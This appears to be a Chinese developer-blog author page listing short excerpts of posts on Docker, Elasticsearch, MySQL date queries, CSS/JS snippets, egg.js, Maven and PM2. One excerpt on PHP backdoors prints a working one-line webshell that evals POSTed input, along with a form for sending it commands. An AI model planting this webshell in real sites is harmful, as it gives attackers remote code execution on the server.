
后端
前端劝退师儿
这个作者很懒,什么都没留下…
展开
-
docker安装kibana
一、概述Kibana是一个针对Elasticsearch的开源分析及可视化平台,用来搜索、查看交互存储在Elasticsearch索引中的数据。使用Kibana,可以通过各种图表进行高级数据分析及展示。环境说明操作系统:centos 7.6docker版本:19.03.12ip地址:192.168.31.190关于elasticsearch安装,请参考链接:https://www.cnblogs.com/xiao987334176/p/13565468.html关于l原创 2022-01-17 11:17:43 · 1163 阅读 · 0 评论 -
docker安装elasticsearch和head插件
一、概述需要在服务器中部署elasticsearch和head插件环境说明操作系统:centos 7.6docker版本:19.03.12ip地址:192.168.31.190二、安装下载镜像docker pull elasticsearch:7.5.1docker pull mobz/elasticsearch-head:5-alpine修改系统参数vi /etc/sysctl.conf调整参数vm.max_map_count=262144原创 2022-01-17 11:04:35 · 459 阅读 · 0 评论 -
常用命令记录:
1、按照端口杀掉进程lsof -i :7002|grep -v "PID"|awk '{print "kill -9",$2}'|sh原创 2021-10-27 11:01:54 · 125 阅读 · 0 评论 -
好用的开发者导航推荐
在线工具 - 你的工具箱https://tool.lu/极客导航https://www.jikedaohang.com/Android/工具导航https://www.buzbu.com/#93原创 2021-10-14 09:07:31 · 723 阅读 · 0 评论 -
mysql查询今天、昨天、本周、本月、上一月 、今年数据
mysql数据库中的关于查询日期的一些操作如下:--今天select * from 表名 where to_days(时间字段名) = to_days(now());--昨天SELECT * FROM 表名 WHERE TO_DAYS( NOW( ) ) - TO_DAYS( 时间字段名) <= 1--本周SELECT * FROM 表名 WHERE YEARWEEK( date_format( 时间字段名,'%Y-%m-%d' ) ) = YEARWEEK( now原创 2021-10-13 09:43:57 · 971 阅读 · 0 评论 -
整合实用的CSS样式代码片段
1.基础样式(便于搜索引擎)CSSbackground: url(../images/journalism.gif) left 0px no-repeat;transparentcolor: #FFF; 白色字体 选项卡变色font-weight: bold;加粗cursor:pointer; 把鼠标放上会变成小手border-radius: 10px;边框线变成圆角border-bottom-style:dotted; 虚线box-shadow: -2px 0px 35px 1原创 2021-10-13 09:43:46 · 147 阅读 · 0 评论 -
整合实用的JS代码片段
1.禁止页面上下滚动document.ontouchmove = function(e){ e.preventDefault();}2.使用jquery计算高度并赋值var scrollpicwidth=(document.documentElement.clientWidth-1280)/2;$(".lanmu").css("marginLeft",scrollpicwidth);原创 2021-10-13 09:43:38 · 94 阅读 · 0 评论 -
phpStudy for Linux (lnmp+lamp一键安装包)
phpStudy for Linux (lnmp+lamp一键安装包)phpStudy Linux版&Win版同步上线 支持Apache/Nginx/Tengine/Lighttpd/IIS7/8/6phpStudy for Linux 支持Apache/Nginx/Tengine/Lighttpd,支持php5.2/5.3/5.4/5.5切换已经在centos-6.5,debian-7.4.,ubuntu-13.10测试成功。下载版:http://lamp.phpstudy..原创 2021-10-13 09:43:27 · 482 阅读 · 0 评论 -
整合实用的ThinkPHP 3.2的代码片段
1.自动添加模块PHP//在入口文件添加下面代码,然后运行define('BIND_MODULE','Admin');//添加完模块记得注释掉2.配置数据库PHP// 添加数据库配置信息'DB_TYPE'=>'mysql',// 数据库类型'DB_HOST'=>'127.0.0.1',// 服务器地址'DB_NAME'=>'thinkphp',// 数据库名'DB_USER'=>'root',// 用户名'DB_PWD'=>'',//原创 2021-10-11 09:18:06 · 159 阅读 · 0 评论 -
一句话PHP后门植入
这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们看一下最简单的PHP一句话木马。后门文件 a.php<?php @eval($_POST['cmd']);?> 创建文件 b.html<html> <body> <form action="a.php" method="post"> <input type="text" name=原创 2021-10-11 09:17:59 · 339 阅读 · 0 评论 -
使用PHP限制文件下载速度隐藏文件名称代码
话不多说 直接上代码// 将发送到客户端的本地文件$local_file = 'test-file.zip';// 文件名$download_file = 'your-download-name.zip';// 设置下载速率(=> 20,5 kb/s)$download_rate = 20.5;if(file_exists($local_file) && is_file($local_file)) { // 发送 headers header('Cac原创 2021-10-11 09:17:50 · 128 阅读 · 0 评论 -
PHP的时间戳与具体时间转化
三个内置函数:PHPtime() //获取UNIX系统时间戳mktime(hour,minute,second,month,day,year) //将指定时间转化为时间戳date(时间格式,时间戳) //将时间戳转化为方便阅读的时间time -> date:$now = time();echo "时间戳是 " .$now;echo "创建日期是 " . date("Y-m-d h:i:s", $now);输出:PHP时间戳是 1404610907创建原创 2021-10-11 09:17:42 · 185 阅读 · 0 评论 -
egg.js与JWT的应用
JWT基础介绍跨域认证互联网服务离不开用户认证,一般的流程是以下几个步骤:1、用户向服务器发送用户名和密码。2、服务器验证通过之后,在session里面保存相关数据。3、服务器向用户返回一个session_id,写入用户的cookie里。4、用户随后的每一次请求,都会通过cookie,将session_id传给服务器。5、服务器收到session_id,找到保存的数据,由此获得用户认证。如果是服务集群,或者是跨域服务的架构,就需要实现session共享,让每台服务器都能够读取sessi原创 2021-10-11 09:17:34 · 334 阅读 · 0 评论 -
MySQL笔记 — 时间函数、时间比较
整理下MySQL 日期时间函数及用法(5.6.*版本)一、日期(date)相关1、CURDATE()、CURRENT_DATE()、CURRENT_DATE:同义,返回当前日期,如:2017-11-14。注:返回yyyy-MM-dd 或yyyyMMdd形式,取决于函数是否与一个分数(包括整数)进行了四则运算,进行了该运算将返回第二种形式。对CURTIME()等同理。2、DATE(date|datetime):提取date或datetime 的日期部分。3、DATE_ADD(转载 2021-10-11 09:17:25 · 891 阅读 · 0 评论 -
写一个eggjs权限验证中间件
关于中间件中间件(Middleware) - 为企业级框架和应用而生官方文档说的很清楚了,不再叙述。我们要达到怎么样一个效果?用户没有登录不能访问一些特定的页面,比如修改密码、修改资料啊这些敏感操作。如果用户没有登录访问这些页面会自动跳转到登录页面让用户登录。 如果用户登录过了就可以访问这些页面(验证通过。) 没有登录可以访问登录页面来进行登陆,或者注册等不需要权限的页面。如果不使用中间件你会怎么写在controller/user 修改密码,async changePasswo原创 2021-10-09 09:10:59 · 259 阅读 · 0 评论 -
eggjs踩坑之路 跨域cookie篇
接前文,本地搭建的一个vue应用,地址为127.0.0.1:8080。 后端代码运行在7001端口。之前已经完成了基本的通信功能,在中间件中设置了Access-Control-Allow-Origin为* ,可以实现跨域访问和jsonp。本次的功能是让前后端共同实现用户登陆信息记录的功能。 设计思路:1.前端发起第一次get请求,请求主页内容。此时提示用户登陆,用户登陆使用post发送相应数据。后端收到数据并记录用户ID,设置到cookie中,返回给浏览器。浏览器记录此cookie 2.下次用户再请求主原创 2021-10-09 09:10:50 · 736 阅读 · 0 评论 -
MAC 安装maven详细教程
maven官网:Maven官网下载页面:http://maven.apache.org/download.cgi下载:apache-maven-3.6.1-bin.tar.gz解压后将解压的文件夹放在你自己定义目录下(Mac一般放在/usr/local下),比如:/usr/local配置环境变量打开terminel输入以下命令:if (MAC没有安装ZSH的话){vim ~/.bash_profile 打开.bash_profile文件,在文件中添加设置环境变量的命令环境变量命令如下:e原创 2021-10-09 09:10:43 · 1328 阅读 · 0 评论 -
PM2 常用命令
$ pm2 start app.js # 启动app.js应用程序$ pm2 start app.js -i 4 # cluster mode 模式启动4个app.js的应用实例# 4个应用程序会自动进行负载均衡$ pm2 start app.js --name="api" # 启动应用程序并命名为 "api"$ pm2 start app.js --watch # 当文件变化时自动重启应用$ pm2 start script.sh # 启动 b...转载 2021-10-08 10:26:16 · 158 阅读 · 0 评论